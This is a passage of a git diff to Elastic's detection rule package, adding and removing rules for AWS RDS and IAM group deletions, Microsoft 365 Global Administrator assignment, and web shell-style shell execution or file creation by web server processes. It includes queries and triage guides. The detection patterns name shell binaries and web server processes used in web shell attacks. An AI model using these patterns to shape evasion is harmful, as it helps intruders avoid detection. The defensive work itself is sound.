guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).\n- We suggest selecting \"Complete EDR (Endpoint Detection and Response)\" as a configuration setting, that provides \"All events; all preventions\"\n- Enter a name for the agent policy in \"New agent policy name\". If other agent policies already exist, you can click the \"Existing hosts\" tab and select an existing policy instead.\nFor more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).\n- Click \"Save and Continue\".\n- To complete the integration, select \"Add Elastic Agent to your hosts\" and continue to the next section to install the Elastic Agent on your hosts.\nFor more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).\n", - "severity": "low", - "tags": [ - "Domain: Endpoint", - "OS: Linux", - "Use Case: Threat Detection", - "Tactic: Discovery", - "Data Source: Elastic Defend", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0007", - "name": "Discovery", - "reference": "https://attack.mitre.org/tactics/TA0007/" - }, - "technique": [ - { - "id": "T1046", - "name": "Network Service Discovery", - "reference": "https://attack.mitre.org/techniques/T1046/" - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 4 - }, - "id": "860f2a03-a1cf-48d6-a674-c6d62ae608a1_4", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/863cdf31-7fd3-41cf-a185-681237ea277b_210.json b/packages/security_detection_engine/kibana/security_rule/863cdf31-7fd3-41cf-a185-681237ea277b_210.json new file mode 100644 index 00000000000..8d89b7318fe --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/863cdf31-7fd3-41cf-a185-681237ea277b_210.json @@ -0,0 +1,89 @@ +{ + "attributes": { + "author": [ + "Elastic", + "Austin Songer" + ], + "description": "Identifies the deletion of an Amazon Relational Database Service (RDS) Security group. Modern RDS deployments run in a VPC and use standard EC2 security groups instead. This rule should be retained only for historical log analysis on legacy CloudTrail data. We recommend relying on \"AWS EC2 Security Group Configuration Change\" rule for network-control changes impacting RDS in VPC-based deployments.", + "false_positives": [ + "An RDS security group deletion may be done by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Security group deletions by unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "from": "now-60m", + "index": [ + "filebeat-*", + "logs-aws.cloudtrail-*" + ], + "interval": "10m", + "language": "kuery", + "license": "Elastic License v2", + "name": "Deprecated - AWS RDS Security Group Deletion", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Deprecated - AWS RDS Security Group Deletion\n\nAmazon RDS Security Groups control access to RDS instances, acting as a virtual firewall. Adversaries may delete these groups to disrupt database access or cover their tracks. The detection rule monitors AWS CloudTrail logs for successful deletion events of RDS Security Groups, signaling potential unauthorized activity. This helps security analysts quickly identify and respond to suspicious deletions.\n\n### Possible investigation steps\n\n- Review the AWS CloudTrail logs to confirm the event details, focusing on the event.provider:rds.amazonaws.com and event.action:DeleteDBSecurityGroup fields to ensure the deletion event is accurately captured.\n- Identify the user or role associated with the event by examining the user identity information in the CloudTrail logs to determine if the action was performed by an authorized entity.\n- Check the event time and correlate it with other security events or alerts to identify any suspicious activity patterns or sequences that might indicate a broader attack.\n- Investigate the context of the deletion by reviewing recent changes or activities in the AWS account, such as modifications to IAM policies or unusual login attempts, to assess if the deletion is part of a larger unauthorized access attempt.\n- Contact the relevant database or cloud infrastructure team to verify if the deletion was intentional and authorized, ensuring that it aligns with any ongoing maintenance or decommissioning activities.\n\n### False positive analysis\n\n- Routine maintenance activities by authorized personnel may trigger the rule. To manage this, create exceptions for known maintenance windows or specific user accounts that regularly perform these tasks.\n- Automated scripts or tools used for infrastructure management might delete security groups as part of their normal operation. Identify these scripts and exclude their actions from triggering alerts by using specific identifiers or tags.\n- Changes in security group configurations during scheduled updates or migrations can result in deletions. Document these events and adjust the detection rule to ignore deletions during these planned activities.\n- Testing environments often involve frequent creation and deletion of resources, including security groups. Exclude these environments from monitoring by using environment-specific tags or identifiers.\n\n### Response and remediation\n\n- Immediately isolate the affected RDS instance by modifying its security group settings to restrict all inbound and outbound traffic, preventing further unauthorized access.\n- Review AWS CloudTrail logs to identify the source of the deletion request, including the IAM user or role involved, and assess whether the credentials have been compromised.\n- Recreate the deleted RDS Security Group with the appropriate rules and reassign it to the affected RDS instance to restore normal operations.\n- Conduct a thorough audit of IAM permissions to ensure that only authorized personnel have the ability to delete RDS Security Groups, and revoke any unnecessary permissions.\n- Implement multi-factor authentication (MFA) for all IAM users with permissions to modify RDS Security Groups to enhance security and prevent unauthorized changes.\n- Escalate the incident to the security operations team for further investigation and to determine if additional systems or data have been affected.\n- Update incident response plans and security policies based on the findings to prevent similar incidents in the future and improve overall cloud security posture.", + "query": "event.dataset:aws.cloudtrail and event.provider:rds.amazonaws.com and event.action:DeleteDBSecurityGroup and event.outcome:success\n", + "references": [ + "https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_DeleteDBSecurityGroup.html" + ], + "related_integrations": [ + { + "integration": "cloudtrail", + "package": "aws", + "version": "^4.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.dataset", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.outcome", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.provider", + "type": "keyword" + } + ], + "risk_score": 21, + "rule_id": "863cdf31-7fd3-41cf-a185-681237ea277b", + "setup": "The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.", + "severity": "low", + "tags": [ + "Domain: Cloud", + "Data Source: AWS", + "Data Source: Amazon Web Services", + "Data Source: AWS RDS", + "Tactic: Impact", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0040", + "name": "Impact", + "reference": "https://attack.mitre.org/tactics/TA0040/" + }, + "technique": [ + { + "id": "T1531", + "name": "Account Access Removal", + "reference": "https://attack.mitre.org/techniques/T1531/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "query", + "version": 210 + }, + "id": "863cdf31-7fd3-41cf-a185-681237ea277b_210", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/867616ec-41e5-4edc-ada2-ab13ab45de8a_210.json b/packages/security_detection_engine/kibana/security_rule/867616ec-41e5-4edc-ada2-ab13ab45de8a_210.json new file mode 100644 index 00000000000..bf97e6174e3 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/867616ec-41e5-4edc-ada2-ab13ab45de8a_210.json @@ -0,0 +1,103 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Detects when an IAM group is deleted using the DeleteGroup API call. Deletion of an IAM group may represent a malicious attempt to remove audit trails, disrupt operations, or hide adversary activity (for example after using the group briefly for privileged access). This can be an indicator of impact or cleanup in an attack lifecycle.", + "false_positives": [ + "Legitimate group deletion during decommissioning of projects, clean-up of service accounts, or identity lifecycle changes may trigger this alert. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Resource group deletions by unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "from": "now-6m", + "index": [ + "filebeat-*", + "logs-aws.cloudtrail-*" + ], + "investigation_fields": { + "field_names": [ + "@timestamp", + "user.name", + "user_agent.original", + "source.ip", + "aws.cloudtrail.user_identity.arn", + "aws.cloudtrail.user_identity.type", + "aws.cloudtrail.user_identity.access_key_id", + "event.action", + "event.outcome", + "cloud.account.id", + "cloud.region", + "aws.cloudtrail.request_parameters" + ] + }, + "language": "kuery", + "license": "Elastic License v2", + "name": "AWS IAM Group Deletion", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating AWS IAM Group Deletion\n\nAttackers sometimes remove groups to erase evidence, disrupt operations, or prevent users from receiving needed permissions (Impact). Deletion can also follow malicious cleanup after attaching policies and using the group briefly. This alert fires on `DeleteGroup` API call. Consider intentional disruption or covering tracks, particularly if the group was privileged or recently modified.\n\n### Possible investigation steps\n\n- **Identify the actor and environment** \n - Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.access_key_id`. \n - Check `source.ip`, `user_agent.original`, `cloud.account.id`, `cloud.region` for atypical activity.\n\n- **Determine what was lost**\n - From `aws.cloudtrail.request_parameters`, capture `groupName`. \n - Use history or logs to identify existing members and attached policies prior to deletion (ex: `GetGroup`, `ListAttachedGroupPolicies`). \n - Determine if the group contained privileged roles/policies that could have been weaponized.\n\n- **Correlate with related activity**\n - Look in the prior 1\u201324h for `DetachGroupPolicy`, `RemoveUserFromGroup`, `DeleteGroupPolicy`, which often precede deletion in adversary cleanup workflows. \n - After deletion, monitor for creation of new similarly-named groups, or re-attachment of policies to other groups/roles.\n\n### False positive analysis\n\n- Projects & services that are being decommissioned often require group deletion. Confirm through internal inventory and change control. \n- Sandbox or dev accounts frequently create and delete groups; ensure the environment context is understood.\n\n### Response and remediation\n\n- **Containment**: If deletion was unauthorized, restrict the actor\u2019s IAM privileges and block further configuration changes. \n- **Investigation and scoping**: Recover details of the deleted group (members, policies) from logs or AWS Config, and determine the impact of the deletion (which users lost membership, service account disruption). \n- **Recovery and hardening**: Recreate the group if necessary, restore intended policies and memberships, enforce change-control for group deletions, restrict `iam:DeleteGroup` privileges, and create alerts for destructive IAM operations.\n\n### Additional information\n[AWS Security Best Practices](https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/)\n", + "query": "event.dataset: aws.cloudtrail and \n event.provider: iam.amazonaws.com and \n event.action: DeleteGroup and \n event.outcome: success\n", + "references": [ + "https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/delete-group.html", + "https://docs.aws.amazon.com/IAM/latest/APIReference/API_DeleteGroup.html" + ], + "related_integrations": [ + { + "integration": "cloudtrail", + "package": "aws", + "version": "^4.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.dataset", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.outcome", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.provider", + "type": "keyword" + } + ], + "risk_score": 21, + "rule_id": "867616ec-41e5-4edc-ada2-ab13ab45de8a", + "severity": "low", + "tags": [ + "Domain: Cloud", + "Data Source: AWS", + "Data Source: Amazon Web Services", + "Data Source: AWS IAM", + "Tactic: Impact", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0040", + "name": "Impact", + "reference": "https://attack.mitre.org/tactics/TA0040/" + }, + "technique": [ + { + "id": "T1531", + "name": "Account Access Removal", + "reference": "https://attack.mitre.org/techniques/T1531/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "query", + "version": 210 + }, + "id": "867616ec-41e5-4edc-ada2-ab13ab45de8a_210", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/88671231-6626-4e1b-abb7-6e361a171fbb_212.json b/packages/security_detection_engine/kibana/security_rule/88671231-6626-4e1b-abb7-6e361a171fbb_212.json new file mode 100644 index 00000000000..67904401417 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/88671231-6626-4e1b-abb7-6e361a171fbb_212.json @@ -0,0 +1,107 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies when the Microsoft 365 Global Administrator or Company Administrator role is assigned to a user or service principal. The Global Administrator role has extensive privileges across Entra ID and Microsoft 365 services, making it a high-value target for adversaries seeking persistent access. Successful assignments of this role may indicate potential privilege escalation or unauthorized access attempts, especially if performed by accounts that do not typically manage high-privilege roles.", + "from": "now-9m", + "index": [ + "logs-o365.audit-*" + ], + "language": "kuery", + "license": "Elastic License v2", + "name": "Microsoft 365 Global Administrator Role Assigned", + "note": "## Triage and Analysis\n\n### Investigating Microsoft 365 Global Administrator Role Assigned\n\nThe Microsoft 365 Global Administrator role grants comprehensive administrative access across Entra ID and services such as Microsoft 365 Defender, Exchange, SharePoint, and Skype for Business. Adversaries who compromise an account may assign this role to themselves or other users to ensure persistent and privileged access. This rule identifies successful assignments of this role by inspecting audit logs from Azure Active Directory (Entra ID) where the role display name matches \"Administrator.\"\n\n### Possible investigation steps\n\n- Review the `user.id` and `user.name` fields to determine who performed the role assignment. Assess whether this user normally has permissions to modify high-privilege roles.\n- Confirm the `event.action` is `\"Add member to role.\"` and that the `Role_DisplayName.NewValue` is `\"Global Administrator\"` or a similarly privileged role.\n- Review the `user.target.id` and `user.target.name` fields to identify the user or service principal that received the role.\n- Inspect `o365.audit.ExtendedProperties.additionalDetails` for context on how the action was performed (e.g., via Admin Portal, Graph API).\n- Pivot to sign-in logs for the assigning account to check for recent anomalies such as logins from new geolocations, unrecognized devices, or suspicious IP ranges.\n- Investigate if the account assignment occurred outside of known change windows, during non-business hours, or by a user with no change history.\n- Correlate with other role assignments or directory changes to check for broader role abuse or privilege escalation campaigns.\n\n### False positive analysis\n\n- Role assignments by IT administrators as part of routine maintenance or incident response may appear suspicious in environments without change tracking or ticket correlation.\n- PIM (Privileged Identity Management) activations may temporarily elevate accounts to Global Administrator and then revoke the role afterward.\n- Onboarding processes or internal audits may require temporary elevation to Global Administrator for legitimate users.\n- Automation tools and scripts may trigger this alert if misconfigured to assign Global Administrator privileges during provisioning or sync jobs.\n\n### Response and remediation\n\n- If the assignment is unapproved or suspicious, immediately revoke the Global Administrator role from the assigned user or service principal.\n- Reset credentials and initiate containment steps for the assigning account, especially if compromise is suspected.\n- Enable or verify enforcement of MFA for both assigning and assigned accounts.\n- Review Azure AD activity logs for additional signs of privilege misuse or suspicious directory changes.\n- Notify the appropriate identity and security operations teams to investigate further and begin incident response procedures.\n- Limit the number of Global Administrator accounts and enforce role-based access control (RBAC) using least privilege principles.\n- Consider implementing conditional access policies to limit role assignment actions to specific networks, devices, or user groups.\n", + "query": "event.dataset:o365.audit\n and event.code:\"AzureActiveDirectory\"\n and event.action:\"Add member to role.\"\n and event.outcome: \"success\"\n and o365.audit.ModifiedProperties.Role_DisplayName.NewValue: (\n \"Global Administrator\" or \"Company Administrator\"\n )\n and o365.audit.AzureActiveDirectoryEventType: 1\n and o365.audit.RecordType: 8\n", + "references": [ + "https://docs.microsoft.com/en-us/azure/active-directory/roles/permissions-reference#global-administrator", + "https://learn.microsoft.com/en-us/purview/audit-log-activities", + "https://www.blackhat.com/us-24/briefings/schedule/#unoauthorized-a-technique-to-privilege-escalation-to-global-administrator-39231" + ], + "related_integrations": [ + { + "package": "o365", + "version": "^2.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.code", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.dataset", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.outcome", + "type": "keyword" + }, + { + "ecs": false, + "name": "o365.audit.AzureActiveDirectoryEventType", + "type": "keyword" + }, + { + "ecs": false, + "name": "o365.audit.ModifiedProperties.Role_DisplayName.NewValue", + "type": "keyword" + }, + { + "ecs": false, + "name": "o365.audit.RecordType", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "88671231-6626-4e1b-abb7-6e361a171fbb", + "severity": "medium", + "tags": [ + "Domain: Cloud", + "Domain: SaaS", + "Domain: Identity", + "Data Source: Microsoft 365", + "Data Source: Microsoft 365 Audit Logs", + "Use Case: Identity and Access Audit", + "Tactic: Persistence", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0003", + "name": "Persistence", + "reference": "https://attack.mitre.org/tactics/TA0003/" + }, + "technique": [ + { + "id": "T1098", + "name": "Account Manipulation", + "reference": "https://attack.mitre.org/techniques/T1098/", + "subtechnique": [ + { + "id": "T1098.003", + "name": "Additional Cloud Roles", + "reference": "https://attack.mitre.org/techniques/T1098/003/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "query", + "version": 212 + }, + "id": "88671231-6626-4e1b-abb7-6e361a171fbb_212", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/894b7cc9-040b-427c-aca5-36b40d3667bf_2.json b/packages/security_detection_engine/kibana/security_rule/894b7cc9-040b-427c-aca5-36b40d3667bf_2.json deleted file mode 100644 index 496a5ee634e..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/894b7cc9-040b-427c-aca5-36b40d3667bf_2.json +++ /dev/null @@ -1,101 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "building_block_type": "default", - "description": "This rule detects unusual file creations from a web server parent process. Adversaries may attempt to create files from a web server parent process to establish persistence, execute malicious scripts, or exfiltrate data. ES|QL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert.", - "from": "now-61m", - "interval": "1h", - "language": "esql", - "license": "Elastic License v2", - "name": "Unusual File Creation by Web Server", - "query": "from logs-endpoint.events.file-*\n| keep @timestamp, host.os.type, event.type, event.action, user.name, user.id, process.name, process.executable, file.path, agent.id, host.name\n| where @timestamp > now() - 1 hours\n| where host.os.type == \"linux\" and event.type == \"change\" and event.action in (\"rename\", \"creation\") and (\n user.name in (\n \"apache\", \"www-data\", \"httpd\", \"nginx\", \"lighttpd\", \"tomcat\", \"tomcat8\", \"tomcat9\", \"ftp\", \"ftpuser\", \"ftpd\"\n ) or\n user.id in (\"99\", \"33\", \"498\", \"48\")\n ) and (\n process.name in (\n \"apache\", \"nginx\", \"apache2\", \"httpd\", \"lighttpd\", \"caddy\", \"node\", \"mongrel_rails\", \"java\", \"gunicorn\",\n \"uwsgi\", \"openresty\", \"cherokee\", \"h2o\", \"resin\", \"puma\", \"unicorn\", \"traefik\", \"tornado\", \"hypercorn\",\n \"daphne\", \"twistd\", \"yaws\", \"webfsd\", \"httpd.worker\", \"flask\", \"rails\", \"mongrel\"\n ) or\n process.name like \"php-*\" or\n process.name like \"python*\" or\n process.name like \"ruby*\" or\n process.name like \"perl*\"\n )\n| stats cc = count(), agent_count = count_distinct(agent.id), host.name = VALUES(host.name), agent.id = VALUES(agent.id) by process.executable, file.path\n| where agent_count == 1 and cc < 5\n| sort cc asc\n| limit 100\n", - "related_integrations": [ - { - "package": "endpoint", - "version": "^9.0.0" - } - ], - "risk_score": 47, - "rule_id": "894b7cc9-040b-427c-aca5-36b40d3667bf", - "setup": "## Setup\n\nThis rule requires data coming in from Elastic Defend.\n\n### Elastic Defend Integration Setup\nElastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.\n\n#### Prerequisite Requirements:\n- Fleet is required for Elastic Defend.\n- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).\n\n#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:\n- Go to the Kibana home page and click \"Add integrations\".\n- In the query bar, search for \"Elastic Defend\" and select the integration to see more details about it.\n- Click \"Add Elastic Defend\".\n- Configure the integration name and optionally add a description.\n- Select the type of environment you want to protect, either \"Traditional Endpoints\" or \"Cloud Workloads\".\n- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).\n- We suggest selecting \"Complete EDR (Endpoint Detection and Response)\" as a configuration setting, that provides \"All events; all preventions\"\n- Enter a name for the agent policy in \"New agent policy name\". If other agent policies already exist, you can click the \"Existing hosts\" tab and select an existing policy instead.\nFor more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).\n- Click \"Save and Continue\".\n- To complete the integration, select \"Add Elastic Agent to your hosts\" and continue to the next section to install the Elastic Agent on your hosts.\nFor more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).\n", - "severity": "medium", - "tags": [ - "Domain: Endpoint", - "OS: Linux", - "Use Case: Threat Detection", - "Tactic: Persistence", - "Tactic: Execution", - "Tactic: Command and Control", - "Data Source: Elastic Defend", - "Rule Type: BBR" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0003", - "name": "Persistence", - "reference": "https://attack.mitre.org/tactics/TA0003/" - }, - "technique": [ - { - "id": "T1505", - "name": "Server Software Component", - "reference": "https://attack.mitre.org/techniques/T1505/", - "subtechnique": [ - { - "id": "T1505.003", - "name": "Web Shell", - "reference": "https://attack.mitre.org/techniques/T1505/003/" - } - ] - } - ] - }, - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0002", - "name": "Execution", - "reference": "https://attack.mitre.org/tactics/TA0002/" - }, - "technique": [ - { - "id": "T1059", - "name": "Command and Scripting Interpreter", - "reference": "https://attack.mitre.org/techniques/T1059/", - "subtechnique": [ - { - "id": "T1059.004", - "name": "Unix Shell", - "reference": "https://attack.mitre.org/techniques/T1059/004/" - } - ] - } - ] - }, - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0011", - "name": "Command and Control", - "reference": "https://attack.mitre.org/tactics/TA0011/" - }, - "technique": [ - { - "id": "T1071", - "name": "Application Layer Protocol", - "reference": "https://attack.mitre.org/techniques/T1071/" - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 2 - }, - "id": "894b7cc9-040b-427c-aca5-36b40d3667bf_2", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/8a7933b4-9d0a-4c1c-bda5-e39fb045ff1d_4.json b/packages/security_detection_engine/kibana/security_rule/8a7933b4-9d0a-4c1c-bda5-e39fb045ff1d_4.json deleted file mode 100644 index 1d5549a6ba6..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/8a7933b4-9d0a-4c1c-bda5-e39fb045ff1d_4.json +++ /dev/null @@ -1,101 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "This rule detects potential command execution from a web server parent process on a Linux host. Adversaries may attempt to execute commands from a web server parent process to blend in with normal web server activity and evade detection. This behavior is commonly observed in web shell attacks where adversaries exploit web server vulnerabilities to execute arbitrary commands on the host. The detection rule identifies unusual command execution from web server parent processes, which may indicate a compromised host or an ongoing attack. ESQL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert.", - "from": "now-61m", - "interval": "1h", - "language": "esql", - "license": "Elastic License v2", - "name": "Unusual Command Execution from Web Server Parent", - "note": " ## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Unusual Command Execution from Web Server Parent\n\nWeb servers, such as Apache or Nginx, are crucial for hosting web applications, often running on Linux systems. Adversaries exploit vulnerabilities in these servers to execute arbitrary commands, typically through web shells, blending malicious activity with legitimate server processes. The detection rule identifies suspicious command executions originating from web server processes, focusing on unusual patterns and contexts, such as unexpected working directories or command structures, to flag potential compromises.\n\n### Possible investigation steps\n\n- Review the process.command_line field to understand the specific command executed and assess its legitimacy or potential malicious intent.\n- Examine the process.working_directory to determine if the command was executed from an unusual or suspicious directory, which could indicate a compromise.\n- Check the process.parent.executable and process.parent.name fields to identify the parent process and verify if it is a known web server or related service that could be exploited.\n- Investigate the user.name and user.id fields to confirm if the command was executed by a legitimate user or service account, or if it was potentially executed by an unauthorized user.\n- Correlate the @timestamp with other logs and events to identify any related activities or anomalies occurring around the same time, which could provide additional context or evidence of an attack.\n- Assess the agent.id to determine if the alert is isolated to a single host or if similar activities are observed across multiple hosts, indicating a broader issue.\n\n### False positive analysis\n\n- Web development or testing environments may frequently execute commands from web server processes. To handle this, exclude specific working directories like /var/www/dev or /var/www/test from the rule.\n- Automated scripts or cron jobs running under web server user accounts can trigger alerts. Identify these scripts and add exceptions for their specific command lines or user IDs.\n- Legitimate administrative tasks performed by web server administrators might appear suspicious. Document these tasks and exclude their associated command lines or parent executables.\n- Continuous integration or deployment processes that involve web server interactions can be mistaken for threats. Exclude known CI/CD tool command lines or working directories from the rule.\n- Monitoring or logging tools that interact with web server processes may generate false positives. Identify these tools and exclude their specific process names or parent executables.\n\n### Response and remediation\n\n- Isolate the affected host immediately to prevent further malicious activity and lateral movement within the network. This can be done by removing the host from the network or applying network segmentation.\n\n- Terminate any suspicious processes identified by the detection rule, especially those originating from web server parent processes executing shell commands. Use process IDs and command lines from the alert to target specific processes.\n\n- Conduct a thorough review of the web server logs and application logs to identify any unauthorized access or modifications. Look for patterns that match the command execution detected and any other anomalies.\n\n- Patch the web server and any associated applications to address known vulnerabilities that may have been exploited. Ensure that all software is up to date with the latest security patches.\n\n- Restore the affected system from a known good backup if any unauthorized changes or persistent threats are detected. Ensure that the backup is free from compromise before restoration.\n\n- Implement additional monitoring and alerting for similar activities, focusing on unusual command executions and web server behavior. Enhance logging and alerting to capture more detailed information about process executions and network connections.\n\n- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if the attack is part of a larger campaign. Provide them with all relevant data and findings from the initial containment and remediation steps.\n", - "query": "from logs-endpoint.events.process-*\n| keep @timestamp, host.os.type, event.type, event.action, process.parent.name, user.name, user.id, process.working_directory, process.name, process.command_line, process.parent.executable, agent.id, host.name\n| where @timestamp > now() - 1 hours\n| where host.os.type == \"linux\" and event.type == \"start\" and event.action == \"exec\" and (\n process.parent.name in (\n \"apache\", \"nginx\", \"apache2\", \"httpd\", \"lighttpd\", \"caddy\", \"node\", \"mongrel_rails\", \"java\", \"gunicorn\",\n \"uwsgi\", \"openresty\", \"cherokee\", \"h2o\", \"resin\", \"puma\", \"unicorn\", \"traefik\", \"tornado\", \"hypercorn\",\n \"daphne\", \"twistd\", \"yaws\", \"webfsd\", \"httpd.worker\", \"flask\", \"rails\", \"mongrel\"\n ) or\n process.parent.name like \"php-*\" or\n process.parent.name like \"python*\" or\n process.parent.name like \"ruby*\" or\n process.parent.name like \"perl*\" or\n user.name in (\n \"apache\", \"www-data\", \"httpd\", \"nginx\", \"lighttpd\", \"tomcat\", \"tomcat8\", \"tomcat9\", \"ftp\", \"ftpuser\", \"ftpd\"\n ) or\n user.id in (\"99\", \"33\", \"498\", \"48\") or\n process.working_directory like \"/var/www/*\"\n) and\n process.name in (\"bash\", \"dash\", \"sh\", \"tcsh\", \"csh\", \"zsh\", \"ksh\", \"fish\") and process.command_line like \"* -c *\" and\n not (\n process.working_directory like \"/home/*\" or\n process.working_directory like \"/\" or\n process.working_directory like \"/vscode/vscode-server/*\" or\n process.parent.executable like \"/vscode/vscode-server/*\" or\n process.parent.executable == \"/usr/bin/xfce4-terminal\"\n)\n| stats cc = count(), agent_count = count_distinct(agent.id), host.name = VALUES(host.name), agent.id = VALUES(agent.id) by process.command_line, process.working_directory, process.parent.executable\n| where agent_count == 1 and cc < 5\n| sort cc asc\n| limit 100\n", - "related_integrations": [ - { - "package": "endpoint", - "version": "^8.2.0" - } - ], - "risk_score": 47, - "rule_id": "8a7933b4-9d0a-4c1c-bda5-e39fb045ff1d", - "setup": "## Setup\n\nThis rule requires data coming in from Elastic Defend.\n\n### Elastic Defend Integration Setup\nElastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.\n\n#### Prerequisite Requirements:\n- Fleet is required for Elastic Defend.\n- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).\n\n#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:\n- Go to the Kibana home page and click \"Add integrations\".\n- In the query bar, search for \"Elastic Defend\" and select the integration to see more details about it.\n- Click \"Add Elastic Defend\".\n- Configure the integration name and optionally add a description.\n- Select the type of environment you want to protect, either \"Traditional Endpoints\" or \"Cloud Workloads\".\n- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).\n- We suggest selecting \"Complete EDR (Endpoint Detection and Response)\" as a configuration setting, that provides \"All events; all preventions\"\n- Enter a name for the agent policy in \"New agent policy name\". If other agent policies already exist, you can click the \"Existing hosts\" tab and select an existing policy instead.\nFor more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).\n- Click \"Save and Continue\".\n- To complete the integration, select \"Add Elastic Agent to your hosts\" and continue to the next section to install the Elastic Agent on your hosts.\nFor more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).\n", - "severity": "medium", - "tags": [ - "Domain: Endpoint", - "OS: Linux", - "Use Case: Threat Detection", - "Tactic: Persistence", - "Tactic: Execution", - "Tactic: Command and Control", - "Data Source: Elastic Defend", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0003", - "name": "Persistence", - "reference": "https://attack.mitre.org/tactics/TA0003/" - }, - "technique": [ - { - "id": "T1505", - "name": "Server Software Component", - "reference": "https://attack.mitre.org/techniques/T1505/", - "subtechnique": [ - { - "id": "T1505.003", - "name": "Web Shell", - "reference": "https://attack.mitre.org/techniques/T1505/003/" - } - ] - } - ] - }, - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0002", - "name": 